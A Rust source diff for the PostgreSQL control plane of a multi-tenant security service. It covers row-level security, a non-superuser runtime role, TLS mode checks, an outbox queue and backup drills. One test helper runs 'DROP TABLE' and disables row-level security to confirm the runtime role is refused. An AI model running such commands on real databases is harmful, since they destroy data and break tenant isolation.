tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + audit_id BIGINT NOT NULL, + timestamp_unix BIGINT NOT NULL, + actor_name TEXT NOT NULL, + action_name TEXT NOT NULL, + resource_name TEXT NOT NULL, + resource_id TEXT NOT NULL, + action_outcome TEXT NOT NULL, + PRIMARY KEY (tenant_id, audit_id) +); + +CREATE TABLE IF NOT EXISTS threat_feed ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + feed_id TEXT NOT NULL, + feed_source TEXT NOT NULL, + last_updated_unix BIGINT NOT NULL, + threat_count INTEGER NOT NULL, + dnsbl_count INTEGER NOT NULL, + ttl_seconds BIGINT NOT NULL, + PRIMARY KEY (tenant_id, feed_id) +); + +CREATE INDEX IF NOT EXISTS security_event_tenant_event + ON security_event (tenant_id, event_id); + +CREATE TABLE IF NOT EXISTS outbox_message ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + message_id TEXT NOT NULL, + aggregate_id TEXT NOT NULL, + aggregate_version BIGINT NOT NULL, + event_type TEXT NOT NULL, + schema_version INTEGER NOT NULL, + created_unix BIGINT NOT NULL, + payload_json TEXT NOT NULL, + payload_hash TEXT NOT NULL, + idempotency_key TEXT NOT NULL, + message_status TEXT NOT NULL, + lease_owner TEXT, + lease_expires_unix BIGINT, + attempt_count INTEGER NOT NULL, + first_attempt_unix BIGINT, + last_attempt_unix BIGINT, + next_available_unix BIGINT NOT NULL, + terminal_reason TEXT, + PRIMARY KEY (tenant_id, message_id), + UNIQUE (tenant_id, idempotency_key) +); + +CREATE TABLE IF NOT EXISTS outbox_receipt ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + idempotency_key TEXT NOT NULL, + message_id TEXT NOT NULL, + processed_unix BIGINT NOT NULL, + receipt_evidence TEXT NOT NULL, + PRIMARY KEY (tenant_id, idempotency_key) +); + +CREATE INDEX IF NOT EXISTS outbox_message_claim + ON outbox_message (tenant_id, message_status, next_available_unix); + +ALTER TABLE tenant_account ENABLE ROW LEVEL SECURITY; +ALTER TABLE tenant_account FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON tenant_account; +CREATE POLICY tenant_isolation ON tenant_account + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE tenant_profile ENABLE ROW LEVEL SECURITY; +ALTER TABLE tenant_profile FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON tenant_profile; +CREATE POLICY tenant_isolation ON tenant_profile + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE route_config ENABLE ROW LEVEL SECURITY; +ALTER TABLE route_config FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON route_config; +CREATE POLICY tenant_isolation ON route_config + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE threat_indicator ENABLE ROW LEVEL SECURITY; +ALTER TABLE threat_indicator FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON threat_indicator; +CREATE POLICY tenant_isolation ON threat_indicator + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE dnsbl_entry ENABLE ROW LEVEL SECURITY; +ALTER TABLE dnsbl_entry FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON dnsbl_entry; +CREATE POLICY tenant_isolation ON dnsbl_entry + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE security_event ENABLE ROW LEVEL SECURITY; +ALTER TABLE security_event FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON security_event; +CREATE POLICY tenant_isolation ON security_event + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE audit_record ENABLE ROW LEVEL SECURITY; +ALTER TABLE audit_record FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON audit_record; +CREATE POLICY tenant_isolation ON audit_record + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE threat_feed ENABLE ROW LEVEL SECURITY; +ALTER TABLE threat_feed FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON threat_feed; +CREATE POLICY tenant_isolation ON threat_feed + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE outbox_message ENABLE ROW LEVEL SECURITY; +ALTER TABLE outbox_message FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON outbox_message; +CREATE POLICY tenant_isolation ON outbox_message + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +ALTER TABLE outbox_receipt ENABLE ROW LEVEL SECURITY; +ALTER TABLE outbox_receipt FORCE ROW LEVEL SECURITY; +DROP POLICY IF EXISTS tenant_isolation ON outbox_receipt; +CREATE POLICY tenant_isolation ON outbox_receipt + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + +DO $$ +BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'wardnet_runtime') THEN + CREATE ROLE wardnet_runtime + NOSUPERUSER NOCREATEDB NOCREATEROLE NOINHERIT NOLOGIN + NOBYPASSRLS NOREPLICATION; + END IF; +END +$$; +GRANT wardnet_runtime TO CURRENT_USER; +GRANT USAGE ON SCHEMA public TO wardnet_runtime; +REVOKE CREATE ON SCHEMA public FROM wardnet_runtime; +GRANT SELECT, INSERT, UPDATE, DELETE ON + tenant_account, tenant_profile, route_config, threat_indicator, + dnsbl_entry, security_event, audit_record, threat_feed, + outbox_message, outbox_receipt TO wardnet_runtime; +GRANT SELECT ON schema_migration TO wardnet_runtime; +ALTER TABLE tenant_account ADD COLUMN IF NOT EXISTS snapshot_version BIGINT NOT NULL DEFAULT 0; +"#; + +fn hash_partition_sql_for(parent: &str) -> Result { + if parent.is_empty() + || !parent.as_bytes()[0].is_ascii_lowercase() + || !parent + .bytes() + .all(|byte| byte.is_ascii_lowercase() || byte.is_ascii_digit() || byte == b'_') + { + return Err("hash partition parent must be a lowercase SQL identifier".to_string()); + } + let modulus = EVENT_PARTITION_MODULUS; + let unpartitioned = format!("{parent}_unpartitioned"); + Ok(format!( + r#" +DO $hash$ +DECLARE + kind "char"; + i integer; +BEGIN + SELECT c.relkind INTO kind + FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE n.nspname = current_schema() + AND c.relname = '{parent}'; + + IF kind = 'r' THEN + ALTER TABLE {parent} RENAME TO {unpartitioned}; + ALTER TABLE {unpartitioned} DISABLE ROW LEVEL SECURITY; + DROP INDEX IF EXISTS {parent}_tenant_event; + CREATE TABLE {parent} ( + tenant_id TEXT NOT NULL REFERENCES tenant_account (tenant_id), + event_id BIGINT NOT NULL, + timestamp_unix BIGINT NOT NULL, + client_address TEXT, + route_id TEXT, + action_name TEXT NOT NULL, + event_reason TEXT NOT NULL, + event_score INTEGER NOT NULL, + request_path TEXT NOT NULL, + PRIMARY KEY (tenant_id, event_id) + ) PARTITION BY HASH (tenant_id); + i := 0; + WHILE i < {modulus} LOOP + EXECUTE format( + 'CREATE TABLE {parent}_p%s PARTITION OF {parent} FOR VALUES WITH (MODULUS {modulus}, REMAINDER %s)', + i, i + ); + i := i + 1; + END LOOP; + INSERT INTO {parent} ( + tenant_id, event_id, timestamp_unix, client_address, route_id, + action_name, event_reason, event_score, request_path + ) + SELECT tenant_id, event_id, timestamp_unix, client_address, route_id, + action_name, event_reason, event_score, request_path + FROM {unpartitioned}; + DROP TABLE {unpartitioned}; + ALTER TABLE {parent} ENABLE ROW LEVEL SECURITY; + ALTER TABLE {parent} FORCE ROW LEVEL SECURITY; + DROP POLICY IF EXISTS tenant_isolation ON {parent}; + CREATE POLICY tenant_isolation ON {parent} + USING (tenant_id = current_setting('wardnet.tenant_id', true)) + WITH CHECK (tenant_id = current_setting('wardnet.tenant_id', true)); + IF EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'wardnet_runtime') THEN + GRANT SELECT, INSERT, UPDATE, DELETE ON {parent} TO wardnet_runtime; + END IF; + ELSIF kind = 'p' THEN + i := 0; + WHILE i < {modulus} LOOP + IF NOT EXISTS ( + SELECT 1 FROM pg_class c + JOIN pg_namespace n ON n.oid = c.relnamespace + WHERE n.nspname = current_schema() + AND c.relname = format('{parent}_p%s', i) + ) THEN + EXECUTE format( + 'CREATE TABLE {parent}_p%s PARTITION OF {parent} FOR VALUES WITH (MODULUS {modulus}, REMAINDER %s)', + i, i + ); + END IF; + i := i + 1; + END LOOP; + IF EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'wardnet_runtime') THEN + GRANT SELECT, INSERT, UPDATE, DELETE ON {parent} TO wardnet_runtime; + END IF; + END IF; +END +$hash$; +"#, + )) +} + +/// Fail closed when a non-loopback bind lacks a TLS-verified control plane. +pub fn require_postgres_for_bind( + bind_addr: &str, + database_url: Option<&str>, +) -> Result<(), String> { + if crate::bind_is_loopback(bind_addr) { + return Ok(()); + } + let Some(raw) = database_url + .map(str::trim) + .filter(|value| !value.is_empty()) + else { + return Err( + "production bind requires CONTROL_PLANE_DATABASE_URL; JSON file state is not production authority" + .to_string(), + ); + }; + let url = parse_database_url(raw)?; + match ssl_mode(&url)? { + SslMode::Require => Ok(()), + SslMode::Disable => Err( + "production bind requires CONTROL_PLANE_DATABASE_URL with sslmode=require, verify-ca, or verify-full" + .to_string(), + ), + } +} + +/// Structural URL checks. Password stays in the registry, not logs. +pub fn parse_database_url(raw: &str) -> Result { + let raw = raw.trim(); + if raw.is_empty() { + return Err("CONTROL_PLANE_DATABASE_URL is empty".to_string()); + } + let lower = raw.to_ascii_lowercase(); + if !(lower.starts_with("postgres://") || lower.starts_with("postgresql://")) { + return Err("CONTROL_PLANE_DATABASE_URL must be a postgres:// URL".to_string()); + } + ssl_mode(raw)?; + Ok(raw.to_string()) +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum SslMode { + Disable, + Require, +} + +/// `disable` (or omitted) uses plaintext. `require` / `verify-ca` / +/// `verify-full` use rustls with Mozilla roots (certificates are always +/// verified — stricter than libpq `require`). `allow` / `prefer` are rejected +/// because they can silently drop to plaintext. +fn ssl_mode(raw: &str) -> Result { + let lower = raw.to_ascii_lowercase(); + let Some((_, query)) = lower.rsplit_once('?') else { + return Ok(SslMode::Disable); + }; + let mut parsed = None; + for part in query.split('&').flat_map(|chunk| chunk.split('#')) { + let Some((key, value)) = part.split_once('=') else { + continue; + }; + if key != "sslmode" { + continue; + } + let mode = match value { + "disable" => Ok(SslMode::Disable), + "require" | "verify-ca" | "verify-full" => Ok(SslMode::Require), + other => Err(format!( + "unsupported sslmode {other}; use disable or require/verify-full" + )), + }?; + if parsed.replace(mode).is_some() { + return Err( + "duplicate sslmode parameters are not allowed in CONTROL_PLANE_DATABASE_URL" + .to_string(), + ); + } + } + Ok(parsed.unwrap_or(SslMode::Disable)) +} + +/// tokio-postgres 0.7 only parses `disable` / `prefer` / `require`. Map the +/// libpq verification modes we already treat as `Require` so rustls can +/// still verify certificates. +fn rewrite_sslmode_for_tokio(raw: &str) -> String { + let Some((head, query)) = raw.rsplit_once('?') else { + return raw.to_string(); + }; + let rewritten = query + .split('&') + .map(|part| { + let Some((key, value)) = part.split_once('=') else { + return part.to_string(); + }; + if key.eq_ignore_ascii_case("sslmode") + && (value.eq_ignore_ascii_case("verify-ca") + || value.eq_ignore_ascii_case("verify-full")) + { + format!("{key}=require") + } else { + part.to_string() + } + }) + .collect::>() + .join("&"); + format!("{head}?{rewritten}") +} + +fn rustls_connector() -> Result { + rustls::crypto::ring::default_provider() + .install_default() + .ok(); + Ok(MakeRustlsConnect::with_webpki_roots()) +} + +async fn assume_runtime_role(client: &Client) -> Result<(), String> { + let current: String = client + .query_one("SELECT current_user", &[]) + .await + .map_err(|error| format!("control plane current_user failed: {error}"))? + .get(0); + if current != RUNTIME_ROLE { + client + .batch_execute( + "DO $$ + BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_roles WHERE rolname = 'wardnet_runtime') THEN + CREATE ROLE wardnet_runtime + NOSUPERUSER NOCREATEDB NOCREATEROLE NOINHERIT NOLOGIN + NOBYPASSRLS NOREPLICATION; + END IF; + END + $$; + GRANT wardnet_runtime TO CURRENT_USER; + GRANT USAGE ON SCHEMA public TO wardnet_runtime; + REVOKE CREATE ON SCHEMA public FROM wardnet_runtime; + GRANT SELECT, INSERT, UPDATE, DELETE ON + tenant_account, tenant_profile, route_config, threat_indicator, + dnsbl_entry, security_event, audit_record, threat_feed, + outbox_message, outbox_receipt TO wardnet_runtime; + GRANT SELECT ON schema_migration TO wardnet_runtime; + SET ROLE wardnet_runtime;", + ) + .await + .map_err(|error| { + format!( + "control plane runtime role {RUNTIME_ROLE} failed (provision NOSUPERUSER NOBYPASSRLS and GRANT it to the login role): {error}" + ) + })?; + } + let row = client + .query_one("SELECT current_user, current_setting('is_superuser')", &[]) + .await + .map_err(|error| format!("control plane runtime identity failed: {error}"))?; + let user: String = row.get(0); + let superuser: String = row.get(1); + if user != RUNTIME_ROLE { + return Err(format!( + "control plane must run as {RUNTIME_ROLE}, current_user is {user}" + )); + } + if superuser == "on" { + return Err(format!( + "control plane role {RUNTIME_ROLE} must not be a superuser" + )); + } + Ok(()) +} + +async fn apply_schema(client: &Client) -> Result<(), String> { + let applied = match client + .query_one( + "SELECT COALESCE(MAX(migration_version), 0) FROM schema_migration", + &[], + ) + .await + { + Ok(row) => row.get::<_, i32>(0), + Err(_) => 0, + }; + ensure_supported_migration_version(applied)?; + if applied < MIGRATION_VERSION { + client + .batch_execute(MIGRATION_SQL) + .await + .map_err(|error| format!("control plane migration failed: {error:?}"))?; + client + .execute( + "INSERT INTO schema_migration (migration_version) VALUES ($1) ON CONFLICT (migration_version) DO NOTHING", + &[&MIGRATION_VERSION], + ) + .await + .map_err(|error| format!("control plane migration version failed: {error}"))?; + } + let hash_sql = hash_partition_sql_for("security_event")?; + client + .batch_execute(&hash_sql) + .await + .map_err(|error| format!("control plane event hash partition failed: {error:?}"))?; + Ok(()) +} + +fn ensure_supported_migration_version(applied: i32) -> Result<(), String> { + if applied > MIGRATION_VERSION { + Err(format!( + "control plane schema version {applied} is newer than this binary supports ({MIGRATION_VERSION})" + )) + } else { + Ok(()) + } +} + +async fn event_partition_count(client: &Client) -> Result { + let row = client + .query_one( + "SELECT COUNT(*)::bigint + FROM pg_partition_tree('security_event'::regclass) + WHERE level = 1", + &[], + ) + .await + .map_err(|error| format!("control plane event partition count failed: {error}"))?; + Ok(row.get(0)) +} + +/// Serializes schema application and runtime GRANTs across connections +/// (DROP/CREATE POLICY and ACL updates are not concurrent-safe). +static MIGRATION_GATE: std::sync::LazyLock> = std::sync::LazyLock::new(|| Mutex::new(())); + +/// Live PostgreSQL snapshot store for one tenant. +pub struct PostgresPlane { + // ponytail: one serialized connection favors correctness; use a bounded pool when measured + // concurrent control-plane latency requires it. + client: Mutex, + tenant_id: String, + /// Processed-outbox retention; mirrors operator `EVENT_LIMIT`. + event_limit: i64, +} + +impl PostgresPlane { + pub async fn connect(url: &str) -> Result { + Self::connect_tenant(url, DEFAULT_TENANT_ID).await + } + + pub async fn connect_tenant(url: &str, tenant_id: &str) -> Result { + let url = parse_database_url(url)?; + let mode = ssl_mode(&url)?; + let connect_url = rewrite_sslmode_for_tokio(&url); + let (client, connection) = match mode { + SslMode::Disable => { + let (client, connection) = tokio_postgres::connect(&connect_url, NoTls) + .await + .map_err(|error| format!("control plane connect failed: {error}"))?; + ( + client, + tokio::spawn(async move { + let _ = connection.await; + }), + ) + } + SslMode::Require => { + let tls = rustls_connector()?; + let (client, connection) = tokio_postgres::connect(&connect_url, tls) + .await + .map_err(|error| format!("control plane TLS connect failed: {error}"))?; + ( + client, + tokio::spawn(async move { + let _ = connection.await; + }), + ) + } + }; + std::mem::drop(connection); + let plane = Self { + client: Mutex::new(client), + tenant_id: tenant_id.to_string(), + event_limit: LIST_LIMIT, + }; + plane.migrate().await?; + Ok(plane) + } + + /// Use the operator-configured `EVENT_LIMIT` for processed-outbox retention. + pub fn with_event_limit(mut self, event_limit: usize) -> Self { + self.event_limit = event_limit.max(1) as i64; + self + } + + async fn migrate(&self) -> Result<(), String> { + let _gate = MIGRATION_GATE.lock().await; + let client = self.client.lock().await; + client + .execute("SELECT pg_advisory_lock($1)", &[&MIGRATION_LOCK_KEY]) + .await + .map_err(|error| format!("control plane migration lock failed: {error}"))?; + // HASH convert GRANT and SET ROLE GRANT both mutate pg_class ACL + // tuples. Hold the lock across both so parallel connects cannot + // `tuple concurrently updated`. + let result = async { + apply_schema(&client).await?; + assume_runtime_role(&client).await + } + .await; + let _ = client + .execute("SELECT pg_advisory_unlock($1)", &[&MIGRATION_LOCK_KEY]) + .await; + result + } + + #[cfg(test)] + async fn runtime_identity(&self) -> Result<(String, bool), String> { + let client = self.client.lock().await; + let row = client + .query_one( + "SELECT current_user, current_setting('is_superuser') = 'on'", + &[], + ) + .await + .map_err(|error| error.to_string())?; + Ok((row.get(0), row.get(1))) + } + + #[cfg(test)] + async fn unscoped_route_count(&self) -> Result { + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| error.to_string())?; + let count: i64 = tx + .query_one("SELECT COUNT(*)::bigint FROM route_config", &[]) + .await + .map_err(|error| error.to_string())? + .get(0); + tx.rollback().await.map_err(|error| error.to_string())?; + Ok(count) + } + + pub async fn event_partition_count(&self) -> Result { + let client = self.client.lock().await; + event_partition_count(&client).await + } + + #[cfg(test)] + async fn security_event_tableoid(&self) -> Result { + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| error.to_string())?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&self.tenant_id], + ) + .await + .map_err(|error| error.to_string())?; + let row = tx + .query_one( + "SELECT tableoid::regclass::text FROM security_event WHERE tenant_id = $1 LIMIT 1", + &[&self.tenant_id], + ) + .await + .map_err(|error| error.to_string())?; + tx.commit().await.map_err(|error| error.to_string())?; + Ok(row.get(0)) + } + + #[cfg(test)] + async fn runtime_ddl_is_denied(&self) -> Result { + let client = self.client.lock().await; + let drop_denied = client + .batch_execute("DROP TABLE route_config") + .await + .is_err(); + let disable_denied = client + .batch_execute("ALTER TABLE route_config DISABLE ROW LEVEL SECURITY") + .await + .is_err(); + Ok(drop_denied && disable_denied) + } + + /// Load the tenant snapshot, or `None` when the tenant has no rows yet. + pub async fn load(&self) -> Result, String> { + let mut client = self.client.lock().await; + load_snapshot(&mut client, &self.tenant_id).await + } + + /// Replace the tenant snapshot in one transaction (mutation + audit + outbox). + pub async fn save(&self, data: &AppData) -> Result<(), String> { + let mut client = self.client.lock().await; + save_snapshot(&mut client, &self.tenant_id, data, self.event_limit).await + } + + /// Append one security event and its outbox row without rewriting the snapshot. + pub async fn append_security_event( + &self, + event: &SecurityEvent, + event_limit: usize, + ) -> Result<(SecurityEvent, u64), String> { + let mut client = self.client.lock().await; + append_security_event(&mut client, &self.tenant_id, event, event_limit).await + } + + #[cfg(test)] + pub async fn drain_once( + &self, + owner: &str, + now_unix: i64, + dispatch: F, + ) -> Result + where + F: Fn(&OutboxMessage) -> Result, + { + let mut client = self.client.lock().await; + drain_once( + &mut client, + &self.tenant_id, + owner, + now_unix, + self.event_limit, + dispatch, + ) + .await + } + + /// Claim due messages, dispatch without holding the client lock, then ack. + /// HTTP consumers must not pin the PostgreSQL connection during outbound I/O. + pub async fn drain_due_async( + &self, + owner: &str, + now_unix: i64, + dispatch: F, + ) -> Result + where + F: Fn(OutboxMessage) -> Fut, + Fut: Future>, + { + let claimed = { + let mut client = self.client.lock().await; + claim_batch(&mut client, &self.tenant_id, owner, now_unix).await? + }; + let mut processed = 0; + for message in claimed { + let duplicate = { + let mut client = self.client.lock().await; + receipt_exists(&mut client, &self.tenant_id, &message.idempotency_key).await? + }; + if duplicate { + let mut client = self.client.lock().await; + ack_processed( + &mut client, + &self.tenant_id, + &message, + "duplicate-receipt", + now_unix, + self.event_limit, + ) + .await?; + processed += 1; + continue; + } + match dispatch(message.clone()).await { + Ok(evidence) => { + let mut client = self.client.lock().await; + ack_processed( + &mut client, + &self.tenant_id, + &message, + &evidence, + now_unix, + self.event_limit, + ) + .await?; + processed += 1; + } + Err(error) => { + let mut client = self.client.lock().await; + fail_claimed(&mut client, &self.tenant_id, &message, now_unix, &error).await?; + } + } + } + Ok(processed) + } + + /// Persist an operator-triggered external effect (TAXII / Clearfolio / SOC). + /// Secrets must not appear in `payload_json`. + pub async fn enqueue_effect( + &self, + event_type: &'static str, + aggregate_id: &str, + payload_json: String, + ) -> Result { + let created_unix = unix_now_i64(); + let hash = outbox::payload_hash(&payload_json); + let unique = format!("{aggregate_id}:{hash}"); + let (message_id, idempotency_key) = + outbox::effect_ids(event_type, &self.tenant_id, &unique); + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane effect transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&self.tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + insert_outbox( + &tx, + &self.tenant_id, + &OutboxInsert { + message_id: message_id.clone(), + aggregate_id: aggregate_id.to_string(), + aggregate_version: created_unix, + event_type, + created_unix, + payload_json, + payload_hash: hash, + idempotency_key, + }, + ) + .await?; + prune_processed_outbox(&tx, &self.tenant_id, self.event_limit).await?; + tx.commit() + .await + .map_err(|error| format!("control plane effect commit failed: {error}"))?; + Ok(message_id) + } + + /// Load one outbox row plus receipt evidence when processed. + pub async fn get_outbox_item( + &self, + message_id: &str, + ) -> Result)>, String> { + let mut client = self.client.lock().await; + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane get-outbox transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&self.tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let row = tx + .query_opt( + "SELECT message_id, aggregate_id, aggregate_version, event_type, schema_version, + created_unix, payload_json, payload_hash, idempotency_key, message_status, + lease_owner, lease_expires_unix, attempt_count, first_attempt_unix, + last_attempt_unix, next_available_unix, terminal_reason + FROM outbox_message WHERE tenant_id = $1 AND message_id = $2", + &[&self.tenant_id, &message_id], + ) + .await + .map_err(|error| format!("control plane get outbox_message failed: {error}"))?; + let Some(row) = row else { + tx.commit() + .await + .map_err(|error| format!("control plane get-outbox commit failed: {error}"))?; + return Ok(None); + }; + let message = row_to_outbox(&row, &self.tenant_id); + let evidence = tx + .query_opt( + "SELECT receipt_evidence FROM outbox_receipt + WHERE tenant_id = $1 AND message_id = $2", + &[&self.tenant_id, &message_id], + ) + .await + .map_err(|error| format!("control plane get outbox_receipt failed: {error}"))? + .map(|row| row.get::<_, String>(0)); + tx.commit() + .await + .map_err(|error| format!("control plane get-outbox commit failed: {error}"))?; + Ok(Some((message, evidence))) + } + + pub async fn outbox_health(&self, now_unix: i64) -> Result { + let mut client = self.client.lock().await; + outbox_health(&mut client, &self.tenant_id, now_unix).await + } + + pub async fn list_outbox_limited(&self, limit: i64) -> Result, String> { + let mut client = self.client.lock().await; + list_outbox(&mut client, &self.tenant_id, limit.max(1)).await + } + + pub async fn replay_dead_letter(&self, message_id: &str, now_unix: i64) -> Result<(), String> { + let mut client = self.client.lock().await; + replay_dead_letter(&mut client, &self.tenant_id, message_id, now_unix).await + } + + /// Tenant-scoped logical backup. Client IPs, paths, and actor names stay unmasked. + pub async fn logical_backup(&self) -> Result { + let mut client = self.client.lock().await; + export_backup(&mut client, &self.tenant_id).await + } + + /// Restore a verified artifact into this tenant. Fail closed on schema or hash mismatch. + pub async fn restore_logical_backup(&self, backup: &ControlPlaneBackup) -> Result<(), String> { + backup.verify()?; + let mut client = self.client.lock().await; + restore_backup(&mut client, &self.tenant_id, backup).await + } + + /// Restore into an isolated tenant, compare invariants, then drop the drill tenant. + pub async fn restore_drill(&self) -> Result { + let started = Instant::now(); + let backup = self.logical_backup().await?; + let isolated = restore_drill_tenant_id(); + let mut client = self.client.lock().await; + restore_backup(&mut client, &isolated, &backup).await?; + let restored = export_backup(&mut client, &isolated).await?; + drop_tenant(&mut client, &isolated).await?; + let source_hash = backup.semantic_hash()?; + let restored_hash = restored.semantic_hash()?; + let passed = source_hash == restored_hash + && restored.snapshot.routes == backup.snapshot.routes + && restored.snapshot.events == backup.snapshot.events + && restored.snapshot.threats == backup.snapshot.threats + && restored.snapshot.dnsbl == backup.snapshot.dnsbl + && restored.outbox.len() == backup.outbox.len() + && restored.receipts.len() == backup.receipts.len(); + let duration_ms = u64::try_from(started.elapsed().as_millis()).unwrap_or(u64::MAX); + Ok(BackupDrillReport { + passed, + duration_ms, + rpo: BACKUP_RPO.to_string(), + rto_budget_ms: BACKUP_RTO_BUDGET_MS, + source_hash, + restored_hash, + route_count: backup.snapshot.routes.len(), + event_count: backup.snapshot.events.len(), + outbox_count: backup.outbox.len(), + receipt_count: backup.receipts.len(), + isolated_tenant_id: isolated, + }) + } +} + +fn restore_drill_tenant_id() -> String { + format!( + "restore-drill-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_nanos() + ) +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct OutboxReceiptRow { + pub tenant_id: String, + pub idempotency_key: String, + pub message_id: String, + pub processed_unix: i64, + pub receipt_evidence: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct ControlPlaneBackup { + pub schema_version: i32, + pub tenant_id: String, + pub created_unix: i64, + pub snapshot: AppData, + pub outbox: Vec, + pub receipts: Vec, + pub payload_hash: String, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct BackupDrillReport { + pub passed: bool, + pub duration_ms: u64, + pub rpo: String, + pub rto_budget_ms: u64, + pub source_hash: String, + pub restored_hash: String, + pub route_count: usize, + pub event_count: usize, + pub outbox_count: usize, + pub receipt_count: usize, + pub isolated_tenant_id: String, +} + +impl ControlPlaneBackup { + fn unsigned_json(&self) -> Result { + let mut unsigned = self.clone(); + unsigned.payload_hash.clear(); + serde_json::to_string(&unsigned) + .map_err(|error| format!("backup serialize failed: {error}")) + } + + fn seal(mut self) -> Result { + self.payload_hash.clear(); + let json = self.unsigned_json()?; + self.payload_hash = outbox::payload_hash(&json); + Ok(self) + } + + /// Fail closed when the schema is unsupported or the artifact was tampered with. + pub fn verify(&self) -> Result<(), String> { + if self.schema_version < MIN_RESTORABLE_SCHEMA_VERSION + || self.schema_version > MIGRATION_VERSION + { + return Err(format!( + "backup schema_version {} is unsupported; accepted {MIN_RESTORABLE_SCHEMA_VERSION}..={MIGRATION_VERSION}", + self.schema_version + )); + } + if self.tenant_id.trim().is_empty() { + return Err("backup tenant_id must be non-empty".to_string()); + } + let expected = outbox::payload_hash(&self.unsigned_json()?); + if expected != self.payload_hash { + return Err("backup payload_hash does not match contents".to_string()); + } + Ok(()) + } + + fn semantic_hash(&self) -> Result { + let mut snapshot = self.snapshot.clone(); + snapshot.commercial.tenant_id.clear(); + let mut outbox: Vec<_> = self + .outbox + .iter() + .map(|message| { + ( + message.idempotency_key.clone(), + message.payload_hash.clone(), + message.message_status.clone(), + message.payload_json.clone(), + ) + }) + .collect(); + outbox.sort(); + let mut receipts: Vec<_> = self + .receipts + .iter() + .map(|row| (row.idempotency_key.clone(), row.receipt_evidence.clone())) + .collect(); + receipts.sort(); + let body = serde_json::json!({ + "snapshot": snapshot, + "outbox": outbox, + "receipts": receipts, + }) + .to_string(); + Ok(outbox::payload_hash(&body)) + } +} + +async fn load_snapshot(client: &mut Client, tenant_id: &str) -> Result, String> { + let tx = client + .transaction() + .await + .map_err(|error| format!("control plane load transaction failed: {error}"))?; + tx.execute( + "SELECT set_config('wardnet.tenant_id', $1, true)", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane tenant context failed: {error}"))?; + let account = tx + .query_opt( + "SELECT event_sequence, audit_sequence, snapshot_version FROM tenant_account WHERE tenant_id = $1", + &[&tenant_id], + ) + .await + .map_err(|error| format!("control plane load tenant_account failed: {error}"))?; + let Some(account) = account else { + tx.rollback() + .await + .map_err(|error| format!("control plane load rollback failed: {error}"))?; + return Ok(None); + }; + let snapshot = load_snapshot_rows(&tx, tenant_id, &account).await?; + tx.commit() + .await + .map_err(|error| format!("control plane load commit failed: {error}"))?; + Ok(Some(snapshot)) +} + +async fn load_snapshot_rows( + client: &C, + tenant_id: &str, + account: &Row, +) -> Result { + let commercial = load_commercial(client, tenant_id).await?; + let routes = load_routes(client, tenant_id).await?; + let threats = load_threats(client, tenant_id).await?; + let dnsbl = load_dnsbl(client, tenant_id).await?; + let events = load_events(client, tenant_id).await?; + let audit_logs = load_audit(client, tenant_id).await?; + let threat_feeds = load_feeds(client, tenant_id).await?; + Ok(AppData { + routes, + threats, + dnsbl, + events, + next_event_id: account.get::<_, i64>(0) as u64, + audit_logs, + 